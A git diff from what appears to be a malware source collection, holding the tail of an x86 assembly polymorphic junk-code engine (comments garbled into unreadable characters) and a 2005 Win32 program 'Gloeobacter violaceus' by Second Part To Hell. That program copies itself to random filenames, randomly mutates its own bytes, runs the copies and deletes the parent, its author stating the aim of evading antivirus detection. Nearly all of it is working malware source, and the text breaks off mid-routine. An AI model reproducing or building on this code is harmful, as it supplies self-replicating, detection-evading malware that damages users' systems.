mov al,0B8h+ add al,bl+ stosb+ mov dword ptr [ebp-28],edi+ xor eax,eax+ stosd+_mriendtrash_:+ pop eax+ call gen_trash+ ret+;=====================================[MOV reg2,imm]=====================================================++++++;===============================[ADD/SUB/XOR [reg1],reg2]================================================+instr___addxorsub__addrreg_reg:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ mov dword ptr [ebp-32],edi+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 3 ;ADD, SUB, ��� XOR ?+ call [edx].rgen_addr+ mov dword ptr [ebp-36],eax+;--------------------------------------------------------------------------------------------------------+ cmp al,1+ jl _xor01_+ jg _sub01_+_add01_:+ jmp _n001_+_sub01_:+ mov al,29h+ jmp _n001_+_xor01_:+ mov al,31h+_n001_:+ stosb+ mov al,bl+ shl eax,3+ add al,bh+ stosb+ pop eax+ call gen_trash+ ret+;===============================[ADD/SUB/XOR [reg1],reg2]================================================++++++;================================[ADD/SUB/XOR reg2,imm]==================================================+instr___addxorsub__reg_imm:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ mov al,81h+ stosb+;--------------------------------------------------------------------------------------------------------+ push 3 ;ADD, SUB, ��� XOR ?+ call [edx].rgen_addr+ mov dword ptr [ebp-44],eax+ cmp al,1+ mov al,bl ;reg2+ jl _xor02_+ jg _sub02_+_add02_:+ add al,0C0h+ jmp _n002_++_sub02_:+ add al,0E8h+ jmp _n002_++_xor02_:+ add al,0F0h++_n002_:+ stosb+ mov dword ptr [ebp-40],edi+ xor eax,eax+ stosd+ pop eax+ call gen_trash+ ret+;================================[ADD/SUB/XOR reg2,imm]==================================================++++++;======================================[DEC reg1]========================================================+instr___dec__reg:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 2 ;DEC reg1 ���+ call [edx].rgen_addr ;SUB reg1,1 ?+ test eax,eax+ je _dec__reg1_+;--------------------------------------------------------------------------------------------------------+_sub__reg1_1_:+ mov al,83h+ stosb+ mov al,0E8h+ add al,bh+ stosb+ mov al,1+ jmp _idrendtrash_+;--------------------------------------------------------------------------------------------------------+_dec__reg1_:+ mov al,bh ;reg1+ add al,48h+_idrendtrash_:+ stosb+ pop eax+ call gen_trash+ ret+;======================================[DEC reg1]========================================================++++++;=================================[DEC [esp] JNE imm]==================================================+instr___dec__addresp:+ push portion+ call [edx].rgen_addr+ push eax+ push portion+ call [edx].rgen_addr+ push eax+ add eax,dword ptr [esp+4]+ call goto_free_addr+ pop eax+ call gen_trash+;--------------------------------------------------------------------------------------------------------+ push 2 ;DEC [esp] ���+ call [edx].rgen_addr ;SUB [esp],1 ?+ test eax,eax+ je _dec__addresp_+;--------------------------------------------------------------------------------------------------------+_sub__addresp_1_:+ mov eax,01242C83h+ stosd+ jmp _jne__imm_++_dec__addresp_:+ mov ax,0CFFh+ stosw+ mov al,24h+ stosb++_jne__imm_: ;JNE imm+ push ecx+ mov ecx,edi+ mov ax,850Fh+ stosw++ sub ecx,dword ptr [ebp-32]+ add ecx,6+ neg ecx+ xchg eax,ecx+ stosd+ pop ecx+ pop eax+ call gen_trash+ ret+;=====================================[DEC [esp] JNE imm]==============================================++++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;������� goto_free_addr+;���������, �������, � ����� (���� ����) ������ ������ � ������+;����:+;eax - ������ ���� ( � ������), ������� ���� ����� �������� �� ������ ����������� ���������� ������+;�����:+;edi - ����� �����+;� ����� (���� ���� ����) ������ ������ � ������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+goto_free_addr:+ push eax+ call get_free_addr ;�������� �����, �� �������� ����� ����� �������� ������ ���������� (� ������) ����+ push eax+ jnc _nojmp_ ;���������, ����� �� ���������� �����?+ push edi ;���� ��, ����, �� ����������� ������� ��� jmp'a+ sub edi,eax+ inc edi+ inc edi+ mov eax,edi+_abs01_:+ neg eax+ js _abs01_+_jmpshort0xEB_:+ cmp eax,80h+ jae _jmpnear0xE9_+ neg edi+ xchg edi,dword ptr [esp]+ mov al,0EBh+ stosb+ pop eax+ stosb+ jmp _nextgfa_++_jmpnear0xE9_:+ add edi,3+ neg edi+ xchg edi,dword ptr [esp]+ mov al,0E9h ;� ���������� jmp+ stosb+ pop eax+ stosd+_nextgfa_:+ ;mov eax,min_portion+ push min_portion+ call [edx].rgen_addr ;!!!!! ����� �����������+ call gen_trash ;����� ���� ������� ��� ��shit� ����� ������++_nojmp_:+ pop edi+ pop eax+ ret ;�������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� goto_free_addr+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;������� get_free_addr+;��������� ���������� ���������� ������ ��� ������ ������� ���������� ����+;����:+;(+)+;�����:+;(+)+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+get_free_addr:+ push edi ;[esp+12]+ push esi ;[esp+08]+ push ecx ;[esp+04]+ push eax ;[esp+00]++_new_addr_:+ push num_steps ;30+ pop esi ;������� ������� ����� ��������� ����� � �������� ����������+_find_free_addr_:+ dec esi+ je _correct_new_addr_ ;���� ��� ������� ����� ��������� ����� ����������� (�.�. �� ������ �� ����� ��������� �����), ������� ��� �������� ������, ������� ��� ������ (� ������ ��������� �������)+ push max_portion ;� ��� ��� ��������, � ������� ������ ����� ��������� �����+ call [edx].rgen_addr+ add eax,dword ptr [ebp-16] ;��������� �����, ������� �������� ������� ������� ����������+ xchg eax,edi+ mov ecx,dword ptr [esp] ;����� � ecx ������ ���������� ����, ������� ���� ����� ����� �������� (��� �������� ������� + ������ ������� (������ ����������)) �� ���������� ������+ add ecx,size_general_instr+5+4+2+min_portion+ xor eax,eax+ push edi+ repe scasb ;� ���������, ������ �� ������ �����?+ pop edi+ jne _find_free_addr_ ;���� ��, ���������� ������+ stosd ;����� �� ����� ��������� �����, � ������������ edi (edi+=4, ��� ����� �� ��������)+ jmp _ok_new_addr_ ;��������� ������+_correct_new_addr_:+ add dword ptr [ebp-16],min_portion;+1 ;������� �������� ������ ��������� �������+ jmp _new_addr_+_ok_new_addr_:+ push edi+ cmp edi,dword ptr [esp+4+12] ;���� ���������� ��������� ����� ������, ��� �������, �� ����� ����, ����� �������� jmp ��� �������� �� ���� ����� �����+ jle _jc_ok_+ push size_general_instr+5+4+2+min_portion+ pop ecx ;�����, ��������, ���� ������� ����� ����� ������ ����� � �����, �� jmp ������ �� �����, � �������� ��������� ����� ����� ���� �������+ std+ xor eax,eax+ repe scasb+ cld+ je _jc_ok_ ;���� ��� ����� �� �����, ����� ������� jmp+ cmp edi,dword ptr [esp+4+12]+ jg _jc_ok_+ mov edi,dword ptr [esp+4+12]+ mov eax,dword ptr [esp]+ sub eax,edi+ call gen_trash+ clc+ jmp _getfaret_++_jc_ok_:+ stc++_getfaret_:+ pop eax+ pop ecx+ pop ecx+ pop esi+ pop edi+ ret ;�������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� get_free_addr+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;��������������� ������� gen_trash ��� ������ ���������� ������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+gen_trash:+ mov [ebp].buf_for_trash,edi+ mov [ebp].size_trash,eax+ mov [ebp].regs,ebx+ push ebp+ call [edx].tgen_addr+ xchg eax,edi+ ret+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� gen_trash+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;������� gen_reg+;��������� ������� ��������� (� ������ ��� ����� � ��������������)+;�����:+;bh - reg1+;bl - reg2+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+gen_reg:+_gen_reg1_:+ call random_reg+ cmp al,4+ je _gen_reg1_+ cmp al,5+ je _gen_reg1_+ xchg eax,ebx+_gen_reg2_:+ call random_reg+ cmp al,4+ je _gen_reg2_+ cmp al,5+ je _gen_reg2_+ cmp al,bl+ je _gen_reg2_+ mov bh,al+ ret+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� gen_reg+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;��������������� ������� ��������� ���������� ��������+;�����:+;eax - ��������� �������+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+random_reg:+ push 8+ call [edx].rgen_addr+ ret+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx+;����� ������� random_reg+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx++++++;========================================================================================================+FINESize equ $ - FINE+diff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Gv.ASM b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Gv.ASMnew file mode 100644index 0000000..4fc74bd--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Gv.ASM@@ -0,0 +1,673 @@+ Gloeobacter violaceus+ by Second Part To Hell/[rRlf]+ www.spth.de.vu+ written in May 2005+ in Austria++ I proudly present my very first real Win32 Project.+ Before anything else I have to say that this is neighter a real virus+ nor a real engine. It is a program emulating the nature's mutations.++ I would descripe it as a primitive artificial life form.++ How does it work?+ 1) When executed, it get's the own filename and the parent's filename+ 2) It sleeps for 1500 + (0..4095) milliseconds+ 3) It copies itself to a random filename in the current directory+ 4) 1/4 it mutates:+ - Point Mutation: ~68.75%+ - Chromosome Mutation:+ * Chromosome Inversation+ * Chromosome Translocation+ * Chromosome Delection+ * Chromosome Dublication+ * Chromosome Inseration+ 5) It executes the new file+ 6) With a chance of ~50% it jmps to 2+ 7) It deletes the partent's file+ 8) It exits it's own process++ Where the hell can you see a primitive artificial life form?++ Well, we can also say, that the project behaves like that:++ 1) Birth of the lifeform+ 2) Growing up until it can replicate itself+ 3/4) Replicate - there may happen mistakes while replicating+ 5) Birth of the child+ 6) Maybe it makes another child?!+ 7) Give me more space - Remove the corpse of the parent+ 8) Death of the lifeform++ About the name: I've thought long time about a suitable name,+ and I think I got a right one: 'Gloeobacter violaceus' are very simple+ bacteria, and also one of the very first life form on our world.++ With this code I've (more than) partly realized my idea, which I've+ written down in the article "Code Evolution: Follow nature's example", and+ I think I've succeded.++ Now let me write some lines about it's behaviour when it's executed:+ First I have to say that every mutation may kill the children. But nevermind,+ the same also happens in nature. As I have tested it very well, I've been faced+ with some strange mutations. Let me tell you some: The filename of the child+ was not .exe but something else; sometimes the DOS-Box opened (when the MZ was+ deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges+ thing ever happend while testing was the creation of two file called 'v' and ' '.+ One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything+ else with them. And furthermore they have no arguments as creation-time. They are+ just lost space at my HD, but who cares, I dont need these 501kB :)++ My intention in writing this code was, beside of creating an artificial life form,+ making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)+ can be changed, and there is no way to find out, how the whole code is changed.++ As even the body of the code may be changed, this could also be called metamorphism.+ But I would not call it 'metamorph', as everything is random (the code don't 'know'+ what it does).++ Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.++ For compiling:+ Delete the into (this!) and use 'flat assembler 1.56'.+++++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;++include '..\FASM\INCLUDE\win32ax.inc'++.data+systemtime_struct: ; for random number+ dw 0 ; wYear+ dw 0 ; wMonth+ dw 0 ; wDayOfWeek+ dw 0 ; wDay+ dw 0 ; wHour+ dw 0 ; wMinute+ dw 0 ; wSecond+rnd: dw 0 ; wMilliseconds++rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes+ times 8 db 0++rnd_file_name: ; This will contain the filename of the new child+ times 8 db 0+ db '.exe',0++current_file_value: ; Will contain the current running filename+ times 8 db 0+ db '.exe',0++parent_file dd 0x0 ; Buffer for pointer to the parent-file-name+current_file dd 0x0 ; Buffer for pointer to the current running file+file_handle dd 0x0+file_size dd 0x0+map_pointer dd 0x0+map_handle dd 0x0+change_byte_offset dd 0x0+change_byte_value db 0x0++StartUp_struct:+ StartUp_struct_cb dd 0+ StartUp_struct_lpReserved dd 0+ StartUp_struct_lpDesktop dd 0+ StartUp_struct_lpTitle dd 0+ StartUp_struct_dwX dd 0+ StartUp_struct_dwY dd 0+ StartUp_struct_dwXSize dd 0+ StartUp_struct_dwYSize dd 0+ StartUp_struct_dwXCountChars dd 0+ StartUp_struct_dwYCountChars dd 0+ StartUp_struct_dwFillAttribute dd 0+ StartUp_struct_dwFlags dd 0+ StartUp_struct_wShowWindow dw 0+ StartUp_struct_cbReserved2 dw 0+ StartUp_struct_lpReserved2 dd 0+ StartUp_struct_hStdInput dd 0+ StartUp_struct_hStdOutput dd 0+ StartUp_struct_hStdError dd 0+++ProcessInfo_Struct:+ PROCESS_INFORMATION_hProcess dd 0+ PROCESS_INFORMATION_hThread dd 0+ PROCESS_INFORMATION_dwProcessId dd 0+ PROCESS_INFORMATION_dwThreadId dd 0++++.code+ start:+ invoke GetCommandLine ; Get the name of the current file++ cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]+ jne got_my_name ; If no ", then we already have it++ ;;; FIRST EXECUTION ;;;++ inc eax ; Delete first "+ mov ebx, eax ; Save the pointer+ get_my_name:+ inc ebx ; Get next byte+ cmp byte [ebx], '.' ; Compare the value with a dot+ jne get_my_name ; If not equal, get next letter of the filename++ add ebx, 4 ; Get the pointer of the second "+ mov byte [ebx], 0x0 ; Del the second "+ sub ebx, 4 ; Go back to the dot+ get_my_name2:+ dec ebx ; Previous letter+ cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)+ jne get_my_name2 ; if not, get another letter++ inc ebx ; delete the '\'+ mov eax, ebx ; eax=ebx=pointer to start of currentfilename++ ;;; END FIRST EXECUTION ;;;++ got_my_name:+ mov byte [eax+12], 0x0 ; make a NULL-terminated string+ mov [current_file], eax ; Save the filename of the current running process++ add eax, 13 ; Point to the first letter of the parent+ mov [parent_file], eax ; Save the pointer to the parent++ call random_number ; Get random number+ mov ecx, [rand_name_buffer] ; Move a random number to ecx+ and ecx, 1 ; Random number between 0 and 1: New counter++ add ecx, 1 ; ecx++ (counter: 1 or 2 childs)++create_next_child:+ push ecx ; Save the counter++ call random_number ; Renew random numbers+ mov ebp, 1500 ; ebp=1500+ mov eax, [rand_name_buffer] ; eax=random number+ and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????+ add ebp, eax ; ebp=1500+(0..4095)+ invoke Sleep, ebp ; Sleep 1500+(0..4095) ms++ call get_n_save_random_name ; Get a random filename+ invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name++ call random_number ; Get new random number+ mov ax, [rand_name_buffer] ; Get them from buffer+ xor ah, al ; compain 2 bytes+ and ah, 3 ; ???? ???? -> 0000 00??+ cmp ah, 2 ; ah=0000 0010?+ je evolution ; If yes -> evolution+ noevolution: ; Code continues here after mutation, if there where any+ call birthofchild ; Make the child living!+ pop ecx ; Another child?+loop create_next_child ; If counter>1, create new child!++ cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)+ je Death ; If so, no parent killing, as there is no parent!++ invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)++ Death:+ invoke ExitProcess, 0 ; Close current process: Death! :)++birthofchild:+ mov esi, [current_file] ; esi=pointer to current file name+ mov edi, current_file_value ; edi=pointer to buffer for current file name+ mov ecx, 8 ; counter: 8 bytes to copy+ rep movsb ; Move ecx byte from [esi] to [edi]++ mov byte [current_file_value-1], 0x20 ; Delete the 0x0+ invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process+ mov byte [current_file_value-1], 0x0 ; Reset the 0x0+ret++random_number:+ pop edi ; Get value of stack+ push edi ; Back to the stack+ mov ecx, 8 ; ecx=counter+ mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random+ mov dl, 0x87 ; same as dh+ random_name_loop:+ push dx ; Save dx at stack+ push ecx ; Save counter at stack+ call random_byte ; Random number in al+ pop ecx ; get counter+ xor al, cl ; Counter influences pseudo random number+ pop dx ; Get dx+ push ecx+ xor dx, cx ; Counter influences influncing number+ add dh, al ; Random number influences influencing number+ sub dl, al ; Same as dh+ neg dl ; Neg dl+ xor dl, dh ; dl XOR dh -> more variability+ xor al, dl ; random number changes+ sub ax, di ; value of stack influences random number+ add ax, dx ; ax+dx+ mov dl, [rand_name_buffer+ecx-2]+ mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????+ sub al, dl ; al-=dl+ add al, dh ; al+=dh+ mov ah, dl ; ah=dl+ push ax ; AX to stack+ mov cl, 1 ; cl=1+ or dh, cl ; dh is at least 1 (to reduce chance of result=zero)+ mul dh ; AL=AX*DH+ pop cx ; CX=old AX+ push cx ; To stack again+ add cl, al ; CL+=AL+ sub cl, ah ; CL-=AH+ xchg al, cl ; AL=CL+ mov cx, bp ; cx=bp+ mul cl ; AX=AL*CL+ neg ah ; NEG AH+ xor al, ah ; xor AL and AH+ pop cx ; get old AX+ sub cl, al ; SUB+ add cl, dl ; cl+=old random number+ sub al, cl ; al ~=random :)+ pop ecx ; Get counter+ mov [rand_name_buffer+ecx-1], al ; Save random letter+ loop random_name_loop++ret++random_name:+ call random_number ; Get 8 random bytes+ mov ecx, 8 ; counter=8, as we want to do it 8 times++ changetoletter:+ mov al, [rand_name_buffer+ecx-1] ; Get a letter+ mov bl, 10 ; BL=10+ xor ah, ah ; AX: 0000 0000 ???? ????+ div bl ; AL=rnd/10=number between 0 and 25+ add al, 97 ; Add 97 for getting lowercase letters+ mov [rnd_file_name+ecx-1], al ; Save random letter+ loop changetoletter+ret++random_byte:+ invoke GetSystemTime, systemtime_struct ; Get first number+ mov ebx, [rnd-2] ; ebx=number+ add ebx, edx ; Making it pseudo-independent of time+ sub ebx, ecx+ xor ebx, eax+ xchg bl, bh+ pop ecx+ push ecx+ neg ebx+ xor ebx, ecx ; ebx=pseudo-indepentend number++ invoke GetTickCount ; Get second number+ xor eax, ecx ; eax=number+ neg ax ; Making it pseudo-independent of time+ xor eax, edx+ xor ah, al+ sub eax, ebp+ add eax, esi ; eax=pseudo-indepentend number++ xor eax, ebx ; Compain the numbers -> eax+ mov ebx, eax ; Save eax+ shr eax, 8 ; e-part -> ax+ xor ax, bx+ xor al, ah ; al=number+ret++get_n_save_random_name:+ mov ebp, 12 ; ebp influences the pseudo-random-number engine too+ call random_name ; Get a random name+ret++evolution:+; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0++ invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file+ mov [file_handle], eax ; Save the file handle+ invoke GetFileSize, [file_handle], file_size ; Get the size of the file+ mov [file_size], eax ; Low Filesize returned in eax+ invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map+ mov [map_handle], eax ; Save the Map handle++ invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file+ mov [map_pointer], eax ; Save the pointer of file++ call random_number ; Get a random number+ mov al, [rand_name_buffer] ; Radom number in al++; Chances:+; Point-Mutation: ~50%+18.75%=~68.75%+; Each Chromosome Mutation: ~6.25%++ and al, 1 ; al=0000 000?+ cmp al, 1 ; Compare with 1+ je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)++ mov al, [rand_name_buffer+4] ; al=new random number+ and al, 7 ; al=0000 0???++ cmp al, 0 ; Compare al with 0+ je chrom_inversation ; If al=0 make Chromosome Inversation++ cmp al, 1 ; Compare al with 1+ je chrom_translocation ; If al=1 make Chromosome Translocation++ cmp al, 2 ; Compare al with 2+ je chrom_delection ; If al=2 make Chromosome Delection++ cmp al, 3 ; Compare al with 3+ je chrom_dublication ; If al=2 make Chromosome Dublication++ cmp al, 4 ; Compare al with 4+ je chrom_inseration ; If al=4 make Chromosome Inseration++ jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)++ endofmutation:+ invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File++ invoke CloseHandle, [map_handle] ; Close Map+ invoke CloseHandle, [file_handle] ; Close File+jmp noevolution++pointmutation: ; Mutation: Pointmutation+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=File size+ cmp eax, ebx ; comparee Random Number with File Size+ jg pointmutation ; If RN>Filesize then get new random number (=byte to change)++ add eax, [map_pointer] ; eax=Byte to change in memory+ mov [change_byte_offset], eax ; Save the offset++ mov ah, [eax] ; Get the value of the byte+ mov [change_byte_value], ah ; Save it++ mov cl, [rand_name_buffer+5] ; cl=???? ????+ and cl, 7 ; cl=0000 0???+ mov al, 1 ; al=0000 0001+ shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?+ mov esi, [change_byte_offset] ; esi=offset of byte to change+ xor [esi], al ; XOR byte with AL+; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0+jmp endofmutation++chrom_inversation: ; Mutation: Chromosome Mutation - Inversation+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)+ cmp eax, ebx ; comparee Random number with Filesize-16+ jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)++ add eax, [map_pointer] ; Add the offset of file memory+ mov [change_byte_offset], eax ; Save the -to-be-changed- offset++ xor ecx, ecx ; ecx=0+ mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????+ and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???+ mov [change_byte_value], cl ; Save cl (=How many bytes to change)++ mov esi, [change_byte_offset] ; ESI=Offset of part 1+ mov edi, rand_name_buffer ; EDI=Offset of Buffer+ rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]+++ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=Counter (start of part 2)+ add eax, [change_byte_offset] ; eax+=Offset in memory of part 2++ xor ecx, ecx ; ecx=0+ mov cl, [change_byte_value] ; ecx=Counter++ mov esi, eax ; ESI=Offset of part 2+ mov edi, [change_byte_offset] ; EDI=Offset of part 1+ rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]+++ xor ecx, ecx ; ecx=0+ mov cl, [change_byte_value] ; ecx=Counter+ mov eax, [change_byte_offset] ; eax=Start of part 1+ add eax, ecx ; eax=Start of part 2++ mov esi, rand_name_buffer ; ESI=Offset of buffer+ mov edi, eax ; EDI=Offset of part 2+ rep movsb ; buffer to part 1++; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0+jmp endofmutation ; Finished Inversation!++chrom_translocation:+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8 (As we may change 8 byte)+ cmp eax, ebx ; Compare Random number with Filesize-8+ jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)++ add eax, [map_pointer] ; Add the offset of file memory+ mov [change_byte_offset], eax ; Save the -to-be-changed- offset++ xor ecx, ecx ; ecx=0+ mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????+ and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???+ mov [change_byte_value], cl ; Save cl (=How many bytes to change)++ mov esi, [change_byte_offset] ; ESI=Offset of source+ mov edi, rand_name_buffer ; EDI=Offset of Buffer+ rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]++ mov ecx, [file_size] ; eax=filesize+ add ecx, [map_pointer] ; eax=End of file in memory+ sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset++ mov esi, [change_byte_offset] ; esi=Pointer to change byte+ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=number of bytes to change+ add esi, eax ; esi=Pointer to end of changing in memory++ mov edi, [change_byte_offset] ; edi=Offset of changing+ rep movsb++ chrom_trans_loop: ; Get a offset, where to save the part+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8 (As we may change 8 byte)+ cmp eax, ebx ; Compare Random number with Filesize-8+ jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)++ add eax, [map_pointer] ; Add the offset of file memory+ mov [change_byte_offset], eax ; Save offset of changing++ mov ecx, [map_pointer] ; ecx=Start of file in memory+ add ecx, [file_size] ; ecx=End of file in memory++ sub ecx, [change_byte_offset] ; ecx=Bytes after change-place+ xor eax, eax ; eax=0+ mov al, [change_byte_value] ; eax=number of bytes to change+ sub ecx, eax ; ecx-=number of bytes to change++ mov esi, [change_byte_offset] ; esi=Offset of changing+ mov edi, [change_byte_offset] ; edi=offset of changing+ add edi, eax ; edi=Offset after changing++ chrom_trans_buffer: ; Delete the Code-Part+ mov al, [esi+ecx] ; al=Value to Replace+ mov [edi+ecx], al ; Save al+ loop chrom_trans_buffer++; invoke MessageBox, 0x0, "Translocation", "Chromosome Mutation", 0x0+jmp endofmutation++chrom_delection:+ call random_number ; Renew the random numbers+ xor eax, eax ; eax=0+ mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????+ mov ebx, [file_size] ; ebx=Filesize+ sub ebx, 8 ; ebx-=8+ cmp eax, ebx ; comparee Random number with Filesize+ jg chrom_delection ; If RN>Filesize-8 then get new random number (=place to 